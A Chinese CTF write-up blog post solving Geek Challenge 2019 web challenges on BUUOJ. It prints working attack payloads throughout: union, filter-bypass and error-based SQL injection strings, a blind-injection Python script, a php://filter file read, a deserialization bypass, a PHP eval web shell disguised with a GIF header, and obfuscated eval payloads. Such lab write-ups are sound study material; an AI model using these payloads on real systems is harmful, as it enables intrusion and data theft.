BUUOJ-web刷题wp(二)

特辑篇-极客大挑战2019

[极客大挑战 2019]EasySQL

万能密码如下:直接登录显示flag
在这里插入图片描述

[极客大挑战 2019]Havefun

F12看一下,发现那串注释,尝试get数据?cat=dog

在这里插入图片描述y1s1,这猫还是很可爱的,下面的有道题也是!!玩了半天哈哈哈
在这里插入图片描述

[极客大挑战 2019]Secret File

在这里插入图片描述
查看源代码,发现Archive.room.php,打开看看
在这里插入图片描述
按一下按钮
在这里插入图片描述
可能是跳转太快了,抓一下包。
在这里插入图片描述
发现提示,进入
在这里插入图片描述
又现提示flag.php,进入看看
在这里插入图片描述
网页源代码看不见,猜测是写入php代码后端了,通过php伪协议读取内容:
playload:secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述
网页base64解码,找到flag

在这里插入图片描述

[极客大挑战 2019]LoveSQL

用万能密码登录,1’or 1=1 #
在这里插入图片描述
用order by查询字段:?username=admin’ order by 4%23&password=1 发现字段数为4的时候不存在
在这里插入图片描述
用union查询:?username=1’ union select 1,2,3%23&password=1
在这里插入图片描述
看到2,3回显,那么这里会显示数据。
爆数据库:?username=1’ union select 1,database(),3&password=1
在这里插入图片描述
爆表名:?username=1’ union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 %23&password=1
在这里插入图片描述
通过修改limit 1,1 :
在这里插入图片描述
爆第二个字段表中的列:?username=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ %23&password=1
在这里插入图片描述
查询username和password列的内容:?username=1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1 %23&password=1
在最后发现flag

在这里插入图片描述

[极客大挑战 2019]PHP

打开页面是一只可爱的猫猫在玩绳子。
提示:备份;
在这里插入图片描述
第一步扫目录,找一下备份文件
在这里插入图片描述
发现www.zip文件,下载来看看
在这里插入图片描述
打开flag.php看看格式不太对,先看看其他的文件
在这里插入图片描述
审计index.php时,发现包含class.php,并且有序列化
在这里插入图片描述
打开class.php发现关键,
在这里插入图片描述
审计之后发现如果用户名为admin,密码为100则可以输出flag的值。
但是__wakeup()会把username变为guest。这里需要用到序列化字符串中对象的个数绕过。
声明一个Name类,包含username,password,且两个变量都是private修饰,整句话都有用。
然后根据判断句得知,username必须是admin,password必须是100所以,构造序列化
O是对象,s是字符串,i是数字
//因为是private修饰的所以要加%00充当空格

构造:
O:4:“Name”:2:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
payload:
?select=O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
发现flag在这里插入图片描述
ps:一些大佬博客当中声明一点:(还不太懂,先插个眼)
//只有public修饰的不用太多的修饰原生态构造就好,而private需要加%00Name%00,
//protected则需要使用 %00*%00username这样的方式

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>

可以通过上述方式,输出playload内容

[极客大挑战 2019]Knife

在这里插入图片描述
打开网页显示如上,提示使用菜刀连接,同时密码为Syc。
我用蚁剑连接,结果如下
在这里插入图片描述
直接在主目录发现flag:flag{00d3bcde-335a-4af7-b2b5-169a879b224b}

[极客大挑战 2019]Http

打开网页找不到信息,在源代码发现一个php
在这里插入图片描述
在这里插入图片描述
发现信息,利用burpsuite抓包修改
构造referer=https://www.Sycsecret.com
在这里插入图片描述
再构造User-Agent=Syclover
在这里插入图片描述
要求本地,再对XFF头构造
x-forwarded-for=127.0.0.1
在这里插入图片描述
找到flag

[极客大挑战 2019]BabySQL

打开网页发现登录框,万能密码试一下
在这里插入图片描述
发现错误,or被过滤了,再试一下union 和 select
/check.php?username=admin&password=1’ union select 1 --+
在这里插入图片描述
同样出错,显然也被过滤了,现在尝试用一下双写;
/check.php?username=admin&password=1’ ununionion seselectlect 1 --+
在这里插入图片描述
提示列数不对,这时候往上增加列数,发现列数为3
同时在2和3处回显
在这里插入图片描述
接下来爆数据库(前面语句相同,就写后面的)
ununionion seselectlect 1,2,database() %23
在这里插入图片描述
爆所有的数据库;
ununionion seselectlect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) %23
在这里插入图片描述
发现可疑数据库ctf,爆其表 ununionion seselectlect 1,2,group_concat(table_name) frfromom(infoorrmation_schema.tables) whwhereere table_schema=“ctf” %23
在这里插入图片描述
查一下字段值:ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23
找到flag
在这里插入图片描述

[极客大挑战 2019]BuyFlag

打开网页,发现提示,先抓一下包
在这里插入图片描述
看到有个cookie:user=0很显眼,改为1看看
在这里插入图片描述
要求输入密码,看了看代码
在这里插入图片描述
在这里插入图片描述
密码为404,同时要求输入money,提示要1000000,不管怎么样都输不了这么多
查阅之后,发现其他题解写的是绕过:构造money[]=1
ps:
php中的strcmp漏洞说明:
int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 ,也就是虽然报了错,但却判定其相等,这是其原理。
提交之后得到flag。

[极客大挑战 2019]Upload

打开网站,标题是上传头像,考察的是文件上传漏洞
在这里插入图片描述
php后缀绕过我们可以使用php3 php4 phtml
新建一个phtml文件,加入一句话木马,再用burpsuite抓包
在这里插入图片描述

绕过exif_imagetype()
这边利用GIF89a文件头绕过

GIF89a
<script language="php">eval($_POST['shell']);</script>

在修改一下格式成功上传
在这里插入图片描述

再用蚁剑连接,这里猜测目录为upload,密码就是木马当中的shell,最后在根目录找到flag
在这里插入图片描述
在这里插入图片描述
flag{5f22053f-9d32-46fb-93d3-c675306551e5}

[极客大挑战 2019]HardSQL

此题还不太会做,主要是看题解一步步来操作,会对知识点做总结。
手动测试,发现 = or and order by select union 全过滤了 找了一篇wp,说是使用报错注入。

对报错注入还不太了解
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位,或者使用left(),right()读取字符内容
updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法:updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
同样查询语句字符串最大长度为32
总而言之,就是通过在第二个参数路径上改成自己需要的语句,通过报错来显示语句查询的内容;

#爆库构造
?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
#爆表构造
?username=admin'or(updatexml(1,concat(0x7e,    (select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
#爆字段构造
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123
#查一下可疑字段
password ?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=123
#一看还不全,就用到left和right
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123

拼接一下即出flag{b527d03e-80b0-48f2-b832-88f1c4bd2609}
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
此题还需要巩固

[极客大挑战 2019]FinalSQL

盲注,还在学习脚本(网络大神的脚本)中
异或:^是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。注意是二进制异或,1^2=01^10=11=3
改一下url即可

import re
import requests
import string
url = "http://8d9c852d-9423-4601-b5de-990a346367fd.node3.buuoj.cn/search.php"
flag = ''
def payload(i, j):
    #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字
    #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "CLick" in r.text:
        res = 1
    else:
        res = 0
    return res
def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
exp()
print('flag=', flag)

[极客大挑战 2019]RCE ME

打开网页
在这里插入图片描述
接下来要看一下phpinfo();用取反读取(绕过正则+长度限制)
插个眼:关于PHP正则的一些绕过方法

<?php
$s = 'phpinfo';
echo urlencode(~$s);
#%8F%97%8F%96%91%99%90
?>

构造 ?code=(~%8F%97%8F%96%91%99%90)();
发现过滤了很多语句
在这里插入图片描述
先构造一个shell连接蚁剑

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b; # %9E%8C%8C%9A%8D%8B
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d; # %D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6
 ?>

构造:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
在这里插入图片描述
应该是通过执行readflag来读取flag,但是这里的shell命令基本上都被禁了
我们可以通过蚁剑的绕过disable_functions来执行
在这里插入图片描述在这里插入图片描述

非预期解!!!下面先插个眼,一个绕过bypass_disable_functions的方法

再插个眼:BUUCTF:[极客大挑战 2019]RCE ME
再插个眼:深入浅出LD_PRELOAD & putenv()
再插个眼:bypass_disable_functions

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值